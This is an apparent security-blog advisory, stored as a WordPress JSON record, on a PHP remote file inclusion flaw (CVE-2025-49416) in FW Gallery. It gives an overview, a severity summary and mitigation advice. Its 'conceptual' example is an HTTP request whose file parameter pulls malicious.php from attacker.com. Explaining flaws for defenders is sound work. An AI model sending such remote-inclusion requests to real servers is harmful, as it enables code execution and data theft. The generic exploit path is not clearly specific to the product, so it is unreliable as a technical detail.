{"id":57653,"date":"2025-07-05T20:34:56","date_gmt":"2025-07-05T20:34:56","guid":{"rendered":""},"modified":"2025-09-26T14:05:02","modified_gmt":"2025-09-26T20:05:02","slug":"cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/","title":{"rendered":"<strong>CVE-2025-49416: Critical PHP Remote File Inclusion Vulnerability in Fastw3b LLC FW Gallery<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-49416, a critical vulnerability, has been identified in Fastw3b LLC&#8217;s FW Gallery, a popular digital media management software. The weakness arises from an improper control of filename for Include\/Require Statement in the PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability, left unpatched, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64227\">potentially lead to a system<\/a> compromise or data leakage. Given the widespread use of FW Gallery in hosting and managing digital media, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51536-critical-hardcoded-administrator-password-vulnerability-in-ai-openatlas\/\"  data-wpil-monitor-id=\"76735\">vulnerability&#8217;s impact is significant and warrants immediate attention from administrators<\/a> and developers.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49416<br \/>\nSeverity: High, CVSS score of 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64586\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1460381175\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Fastw3b LLC FW Gallery | Through 8.0.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64907\">vulnerability stems from improper<\/a> control of a filename that is used in a PHP &#8216;include&#8217; or &#8216;require&#8217; statement. An attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48466-remote-manipulation-of-digital-outputs-via-modbus-tcp-packets\/\"  data-wpil-monitor-id=\"64275\">manipulate the filename to include a file from a remote<\/a> server, thus leading to PHP Remote File Inclusion. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64585\">allows the attacker to execute arbitrary PHP code<\/a> on the targeted system. The attacker can then leverage this to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64827\">compromise the system or exfiltrate data<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1446919117\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual representation of how the vulnerability might be exploited is shown below:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker has manipulated the &#8216;file&#8217; query parameter in the URL to include a PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65795\">file (`malicious.php`) from their own server (`attacker.com`<\/a>). When this request is processed by the server, the PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64669\">code in `malicious.php` is executed<\/a>, compromising the system.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>Affected users should apply the vendor patch as soon as it is available. As temporary mitigation, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to prevent exploitation of the vulnerability. These <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64421\">systems should be configured to block requests where the &#8216;file<\/a>&#8216; parameter includes a remote URL. Additionally, administrators should <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84114\">monitor system logs<\/a> for any suspicious activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-49416, a critical vulnerability, has been identified in Fastw3b LLC&#8217;s FW Gallery, a popular digital media management software. The weakness arises from an improper control of filename for Include\/Require Statement in the PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. 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